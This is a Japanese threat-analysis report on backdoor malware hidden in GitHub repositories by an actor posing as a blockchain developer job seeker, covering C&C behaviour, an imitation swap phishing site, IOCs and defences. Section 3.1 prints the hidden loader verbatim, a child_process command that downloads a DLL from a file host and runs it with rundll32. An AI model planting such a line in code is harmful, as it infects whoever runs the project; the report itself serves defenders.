


概要
GitHubで、同一のマルウェアを含む2つのリポジトリを発見し、分析を行った。
攻撃者は、実際のリポジトリをコピーしたり、長い空白文字を用いてマルウェアを隠蔽するなど、様々な手法を用いて正常なリポジトリであるかのように見せかけた。
最終的に実行されるバックドアマルウェアは、複数のスレッドが相互作用し、IOCP(Input/Output Completion Port)を介してC&Cサーバーと通信する。
攻撃者のリポジトリを調査して攻撃の変遷過程を把握し、攻撃者がフルスタックおよびブロックチェーン開発者を装って求職活動を行っていたことを確認した。
攻撃者はリポジトリにマルウェアを挿入するだけでなく、フィッシングサイトを制作し、採用プロセスを装ったマルウェア感染攻撃も準備中である。
1. 概要
GitHub(ギットハブ)は、開発者が自身の成果物やポートフォリオを共有し、協画するために活用されているプラットフォームです。しかし、研究者や開発者、求職者に偽装して正常なリポジトリのように見せかけた後、一部のファイルに悪意のあるスクリプトを挿入したり、マルウェアを1-Day脆弱性のPoCに偽装してアップロードするなど、マルウェア感染を誘導する様々な事例が存在します。
北朝鮮のIT労働者の場合、外貨獲得と情報窃取を目的としてLinkedInやGitHubに偽のプロフィールを作成し、開発者に偽装して就職を試みる事例が確認されています。
このように、GitHubは攻撃者がソーシャルエンジニアリングの手法と組み合わせて、採用担当者や一般ユーザーを騙すために悪用されています。

caption - 攻撃者の求職活動の記録
本記事では、一部のリポジトリに悪意のあるスクリプトを挿入し、求職者に偽装して活動する攻撃者の活動やマルウェア、そしてこれに関連するフィッシング攻撃に関する内容を扱います。
2. 攻撃者情報
攻撃者はGitHubの「RealToma」アカウントを使用しており、華やかな経歴を持つかのようにプロフィールを飾り、正常なユーザーであるかのように偽装していた。

caption - RealToma GitHubの概要
SNSや宣伝したい多数のリンクを1つのページで表示するLinktreeを利用して、攻撃者がメール、履歴書、GitHub、LinkedInなどを整理していることも確認できる。

caption - 攻撃者のLinktree
ブロックチェーン採用プラットフォームであるweb3.careerで攻撃者のアカウントを確認すると、12年の経歴を持つフルスタックおよびブロックチェーン開発者「Thomas Ken」として求職活動を行っていることがわかる。

caption - web3.career 自己紹介情報
3. マルウェア解析
3.1. 悪意のあるスクリプトが含まれるGitHubリポジトリ
攻撃者が作成したリポジトリのうち、サブスクリプションサービスのログインと決済を自動化するTelegramボットのリポジトリが存在する。

caption - 攻撃者のリポジトリの一つであるLy_AutoPayBot
該当するリポジトリの中で、ロギング機能のsrc/helper/logger.tsファイルに悪意のあるスクリプトが挿入された。実際のコードは46行目で終了しているが、368行目に長い空白を利用して悪意のあるスクリプトが隠されている。

caption - logger.tsファイルに挿入された悪意のあるスクリプト
悪意のあるスクリプトは、logger.tsがインポートされるたびに実行される。したがって、LyAutoPayBotリポジトリをダウンロードしてボットを実行したユーザーは、マルウェアに感染することになる。
該当するスクリプトは、無料のファイルホストサイトであるcatboxからマルウェアをダウンロードして実行する。全体のコマンドは以下の通りである。
import {exec} from 'child_process'; exec(`cmd.exe /C "curl -s <https://files.catbox.moe/mur3el.png> -o %temp%/temp.png && START /B rundll32.exe %temp%/temp.png DllRegisterServer"`);
ダウンロードされて実行されるmur3el.pngファイルは、C++で作成されたDLLファイルで、DllRegisterServer関数に悪意のある行為が存在する。
3.2. mur3el.png
動作方式
mur3el.pngは2つのスレッドを作成し、プログラム実行時に作成されるPrimaryThreadを含めて計3つのスレッドが相互作用しながら悪意のある行為を行う。スレッド別の機能は以下の表の通りである。
caption - スレッド機能
スレッド間の相互作用プロセスは、PrimaryThreadで初期設定を行った後、SendThreadとRecvThreadを順次作成および実行する方式で行われる。SendThreadはC&CサーバーにプロセスIDとコマンド実行結果を送信し、RecvThreadはIOCP Worker Threadとして設定され、C&Cサーバーからコマンドを受信してこれを処理する。
このプロセスはループ形式で繰り返され、終了コマンドの受信時にPrimaryThreadが各スレッドを無効化し、ソケット接続を終了する。このプロセスで使用される主要な変数と説明は以下の表の通りである。
caption - 主要変数の説明
スレッド間の相互作用とC&Cサーバー通信プロセスをシーケンス図で表したものは、以下の図で確認できる。

caption - スレッド間の相互作用およびC&Cサーバー通信プロセス
C&C通信
C&Cサーバーとの通信はHTTP POSTリクエストで行われ、WindowsのInput/Ouptput Completion Port(以下、IOCP)機能を利用する。このプロセスでIOCPのOverlapped構造体を拡張して使用するため、通信プロセスでMsgTypeが一緒に送受信される。MsgTypeの値は2、3、8のいずれかであり、RecvThreadで使用される。
IOCPを利用したC&Cサーバーへのリクエストは、以下の図のように実行される。

caption - HTTP POSTリクエストの送信プロセス
詳細なプロセスは以下の通りである。
C&CサーバーとのTCP three-way-handshakeプロセスにおいて、SYN、ACKパケットがIOCP機能によってRecvThreadにも伝達される。
RecvThreadはSYN、ACKパケットを受信し、SocketFlagを2に設定する。
その後、ACKパケットを送信してthree-way-handshakeを完了させたSendThreadで、SocketFlagが2であることを確認し、C&CサーバーにHTTP POSTリクエストを送信する。
暗号化・復号化方式
マルウェアの文字列データの復号とC&Cサーバーとの送受信データの暗号化・復号にはBase64とMT19937を利用し、このプロセスで使用されるMT19937のシード値は異なる。
まず、文字列データの復号プロセスは以下の通りである。
暗号化されたデータのBase64デコード
デコードされたデータの最初の4バイトをMT19937のシード値として使用
MT19937の出力値と1バイトのxor演算を実行

caption - 文字列データ復号ルーチン
C&Cサーバーの受信データ復号プロセスは以下の通りである。
暗号化されたデータのBase64デコード
0x4ACAB58Cの値をMT19937のシード値として使用
MT19937の出力値と1バイトのxor演算を実行

caption - C&C受信データ復号ルーチン
C&Cサーバーへの送信データ暗号化プロセスは以下の通りである。
0x4ACAB58Cの値をMT19937のシード値として使用
MT19937の出力値と1バイトのxor演算を実行
データのBase64エンコード
PrimaryThread
PrimaryThreadは「txtdobw」という名前のミューテックスを作成し、重複実行されているかどうかを確認する。正常に作成された場合、マルウェアに感染したシステムボリュームのGUIDパスを利用して、感染システムを識別するためのIDを作成する。

caption - 感染システムID作成ルーチン
IDの作成が完了するとSendThreadを作成し、RecvThreadをIOCP Worker Threadに設定して、C&Cサーバーからデータを受信したときにRecvThreadが実行されるようにする。
その後、感染システムの情報を収集してMsgDequeに追加し、C&Cサーバーと最初につながったときに収集した情報を送信する。収集する情報は以下の通りである。
ユーザー名
コンピューター名
実行中のプロセスID
msci.cngファイルのデータ
msci.cngファイルは、マルウェアがインストールされたパスにあるファイルで、RecvThreadに該当のファイルを作成するルーチンが存在する。このファイルには整数値が保存され、感染システム情報を収集する際にはファイルが存在しないため、値が0に設定される。
最後に、MalwareShutdownの値が1に設定されるまでSleep関数を呼び出して待機し、1に設定されるとC&Cサーバーとのソケット接続、およびSendThread、RecvThreadの実行を終了する。
SendThread
SendThreadはSocketFlagに応じて、C&Cサーバーとの接続を試みるか、MsgDequeに保存されたデータを送信する。SendThreadRunFlagが1になるまで無限ループ内で実行され続ける。
SocketFlagに応じて実行される行為は以下の表の通りである。
caption - SocketFlagに応じた行為
RecvThread
RecvThreadは、C&Cサーバーから受信したデータに応じて悪意のある行為を実行する。
受信データのうち、MsgTypeの値に応じて実行される行為は以下の表の通りである。
caption - MsgTypeに応じた行為
MsgTypeが3のとき、受信データは以下の条件を満たさなければならない。条件を満たした場合は復号した後に次の行為を実行し、満たさなかった場合はソケット接続を終了する。
データが「OK」で始まること。
「OK」以降のデータが「<!DOCTYPE」で始まらないこと。
コマンドコードに応じて実行される行為は以下の表の通りである。
caption - コマンドコードに応じた行為
4. 攻撃の変化
攻撃者は2024年10月から2025年2月までの約4ヶ月間、2回にわたり悪意のあるスクリプトに変更を加えた。別のアカウントを使用してマルウェアを流布し、GitHubにアップロードされたファイルの中に挿入された悪意のあるスクリプトは、より検知されにくくなるよう変更された。最終的に実行されるマルウェアの振る舞いに変化はなく、relocセクションのハッシュも同一であった。
2025년 5월に攻撃者は、マルウェアを流布していたGitHubアカウントとフィッシングサイトを関連付けた。これにより、攻撃者がGitHubを通じたマルウェアの流布や、ブロックチェーン開発者としての求職活動だけでなく、フィッシング攻撃も実行していることが確認できた。
4.1. RealToma アカウント
2024年10月にRealTomaアカウントにアップロードされた Ly_AutoPayBot リポジトリは、悪意のあるスクリプトが難読化されておらず、マルウェアをダウンロードして実行する行為のみが存在する。

caption - Ly_AutoPayBot リポジトリで確認された悪意のあるスクリプト
RealToma アカウントは2025年3月末から4月初旬にかけて削除された。

caption - RealToma アカウントのリンクにアクセスした際に表示される404エラー
4.2. mthomas0802 アカウント
2025年2月、攻撃者は RealTomaアカウント以外に別のGitHubアカウントを使用した。

caption - mthomas0802 GitHubの概要
該当アカウントは、「Uniswap V3 Market Maker Trading Bot」リポジトリをそのまま複製(フォーク)し、mm.jsに悪意のあるスクリプトを挿入した。

caption - jamesbachini – Market-Maker-Bot リポジトリ

caption - 攻撃者が作成したリポジトリ(mthomas0802 - Market-Maker-Bot)
RealToma アカウントが削除された後、mthomas0802 アカウントのフォロー中(Following)リストに mercury-swap という組織(Organization)が追加された。

caption - mthomas0802 アカウントのフォロー中リスト
mercury-swap 組織は、公開リポジトリとメンバーが存在しない組織であり、フォロワーに mthomas0802 アカウントを含む2つのアカウントが存在する。

caption - mercury-swap 組織のフォロワー
4.3. L34rnT0C0d3 アカウント
L34rnT0C0d3 アカウントは、mthomas0802 アカウントと共に mercury-swap 組織をフォローしているアカウントである。該当アカウントのリポジトリリストを見ると、RealToma アカウントの Ly_AutoPayBot と類似した名前の AutoPayBot リポジトリが存在する。

caption - L34rnT0C0d3 GitHubの概要
該当リポジトリは、RealToma アカウントの Ly_AutoPayBot リポジトリと同一の構成で成り立っている。

caption - L34rnT0C0d3 の AutoPayBot リポジトリ
AutoPayBot リポジトリで src/helper/logger.ts ファイルを確認すると、Ly_AutoPayBot リポジトリと同じ位置に悪意のあるスクリプトが挿入されていることが確認できる。

caption - AutoPayBot リポジトリに挿入された悪意のあるスクリプト
挿入されたスクリプトは、Ly_AutoPayBot リポジトリで発見されたスクリプトと一致している。
4.4. 悪意のあるスクリプトの変化
攻撃者が作成した "mthomas0802 - Market-Maker-Bot" リポジトリの mm.js ファイルの2行目に、長い空白を利用して悪意のあるスクリプトが挿入されていることが確認できる。

caption - 悪意のあるスクリプトが挿入された mm.js
過去の "RealToma - Ly_AutoPayBot" リポジトリの悪意のあるスクリプトは難読化されていなかったが、"mthomas0802 - Market-Maker-Bot" リポジトリの悪意のあるスクリプトには難読化が適用されていることがわかる。難読化は JavaScript Obfuscator Tool を用いて適用された。
悪意のあるスクリプトの振る舞いにも変化が存在する。今回の攻撃では、感染したシステムのOS情報を収集してC&Cサーバーに送信するルーティンが追加された。収集される情報は以下の通りである。
[hostname] – [os type]([platform] [architecture] [os release version])

caption - 難読化解除の結果
さらに攻撃者は、悪意のあるスクリプトを一度修正した。従来、catboxを利用してマルウェアをダウンロードしていた方式を、dropboxを利用してダウンロードする方式に変更し、悪意のあるスクリプト内の文字列をbase64でエンコードした。

caption - 難読化解除および文字列のbase64デコード結果(dropboxからのマルウェアダウンロード)
感染したシステム情報をアップロードするC&Cサーバーのアドレスも変更されていることが確認できる。
変更前: 166.88.90[.]143
変更後: 166.88.117[.]246
ダウンロードされたマルウェアが通信するC&Cサーバーのアドレスも変更された。catboxを利用してダウンロードされるマルウェア(RealToma, mthomas0802)と、dropboxを利用してダウンロードされるマルウェア(mthomas0802)に分かれる。
変更前: hxxp://166.88.90[.]143/ms/edgeLogo.webp
変更後: hxxp://166.88.117[.]246/blogs/21549876546523165464
この過程で攻撃者は、GitHubアカウントにメールアドレスを追加した。

caption - GitHubプロファイルで確認されたメールアドレス
攻撃手法の変化以外にも、攻撃者はリポジトリを作成する際にコミットログを捏造(改ざん)した。リポジトリの作成日は2025年2月28日だが、コミットログを確認すると2023年になっていることがわかる。これは jamesbachini アカウントのリポジトリのコミットログと同じである。

caption - Market-Maker-Bot リポジトリの作成日

caption - Market-Maker-Bot コミットログ
4.5. フィッシング攻撃の兆候
攻撃者のGitHubアカウントがフォローしている mercury-swap 組織のプロファイルには、以下のように Mercury Swap という名前の暗号資産取引サイトへとつながるリンクが存在する。

caption - Mercury Swap サイト
Mercury Swap サイトは、Cow Protocolに基づいて構築された取引インターフェースである Cow Swap を模倣して作成されたフィッシングサイトで、Cow Swap サイトとUIおよび機能が酷似していることがわかる。

caption - CoW Swap サイト
フィッシングサイトで「Connect Wallet(ウォレットを接続)」ボタンを押すと、以下のように4つの暗号資産ウォレットから1つを選んで接続することができ、ユーザーが該当サイトでウォレットを接続した場合、攻撃者によってウォレットから資金が引き出される状況が発生する可能性がある。

caption - ウォレット接続ポップアップ
5月28日には、Mercury SwapのX(旧Twitter)アカウントにフロントエンド開発者を募集するという投稿がアップロードされた。これは、採用を装って求職者を対象にマルウェアを流布する潜在的な攻撃へとつながる可能性がある。

caption - Mercury Swap Xのエンジニア募集投稿
求職者を対象にマルウェアを流布する攻撃には、Contagious Interview、Operation DreamJob など、多様な攻撃事例が存在するため、格別の注意が必要である。
Contagious Interviewキャンペーンは、攻撃者が求職者に接触してインタビュー(面接)を進める最中、コーディングテストなどを目的として、悪意のあるスクリプトが含まれたNPMパッケージをダウンロード・実行させる。Contagious Interviewキャンペーンは、ビデオ通話アプリに偽装してマルウェアをインストールさせるなど、長期にわたり多様な方法で実施されてきた。

caption - Unit42が作成した Contagious Interview の攻撃フロー図
Operation DreamJobは、Lazarusグループによる攻撃として知られるキャンペーンであり、求人の提案を装って悪意のあるコードが含まれた文書ファイルを送り、攻撃を実行する。

caption - ClearSkyが作成した Operation DreamJob のフロー図
5. 対応策
個人ユーザーは、オープンソースを使用する際にコードの変更履歴を確認し、自らコードレビューを行う習慣が重要である。一見、正常で信頼できるアカウントのように見えても、実際には内部に悪意のあるスクリプトが含まれている可能性があるため、格別の注意が必要である。
企業の場合には、採用プロセスとオープンソースの使用という2つの側面で注意が必要である。これを予防するための方法は以下の通りである。
採用プロセス
求職者に偽装した攻撃者を採用してしまった場合、内部のセキュリティ脅威につながる可能性があるため、採用プロセスにおいてプロフィールや身元の検証を強化する必要がある。
攻撃者はディープフェイク技術を利用して偽の写真を生成する。履歴書、ポートフォリオ、LinkedInなどで確認できる写真が、AIを使用して修正されたものであるかを確認する。
プロジェクトへの参加有無、以前の勤務先の確認などのクロスチェックを確実に行う。
オープンソースの使用
公式リポジトリ、または企業内部で承認されたオープンソースのみを使用する。
コミットログやコードの変更履歴を確認する。
6. おわりに
本稿では、GitHub(ギットハブ)にて求職者に偽装してマルウェアを拡散した事例について分析した。攻撃者はすでに検証済みのリポジトリを複製した後、一部のファイルにのみ悪意のあるスクリプトを挿入してマルウェアを拡散する。また、他のユーザーからの信頼を得るために、フォロー、フォロワー数、貢献度(コントリビューション)などを操作する。
最初に悪意のあるスクリプトが発見されたRealTomaアカウントは削除されたが、mthomas0802アカウント、L34rnT0C0d3アカウントは依然として存在しており、攻撃者はGitHubを通じたマルウェア拡散のほかにも、フィッシング攻撃、採用を装ったマルウェア拡散攻撃など、多様な攻撃を試みていることが確認された。
海外では非対面での採用やリモートワークが国内に比べて活発であり、国籍や身元を偽り、偽の経歴を利用してIT企業に就職した事例も報告されている。国内では関連する事例は明らかになっていないが、このような脅威が発生する可能性は十分に考えられるため、格別の注意が必要である。
7. 付録
7.1. MITRE ATT&CK
caption - MITRE ATT&CK
7.2. IOCs
sha256
6ac3bd5e67f5ba1f8effbb53d25078e11ba3dd3d3d5046f5409d653c73db5d59
5527f0acb4755e4402434f84c0aac602260e0736f7fdb62cdc329955d47ffe3b
7790c55c5dded39c0a6a0eabf05665ce96762047db20ae8e472715461080237d
8b6d6807213c21c84192cc697d96396eced341f342161045df990830d371b70c
13412b54e3e8f30d3179e54cc653dc651e8cbe43d625c96451942910c91e76b9
52046ad374041f0cabc47e897e10de86b64997ed6da8123d067dac7ead5343b7
C&C
hxxp://166.88.90[.]143:12321
hxxp://166.88.90[.]143/ms/edgeLogo.webp
hxxp://166.88.117[.]246:12321
hxxp://166.88.117[.]246/blogs/21549876546523165464
ミューテックス
txtdobw
バックドアダウンロードリンク
hxxps://files.catbox[.]moe/zxmneq.png
hxxps://files.catbox[.]moe/mur3el.png
hxxps://www.dropbox[.]com/scl/fi/edq1ecio6zr2ophnnv3l7/89373.png?rlkey=whwftc8qf452xku7c8ya3cd5o&st=bcmppt7i&dl=0
GitHub リポジトリ
hxxps://github.com/mthomas0802/Market-Maker-Bot
hxxps://github.com/RealToma/Ly_AutoPayBot
hxxps://github.com/L34rnT0C0d3
フィッシングサイト
hxxps://app[.]mercuryswap[.]io

人気の記事





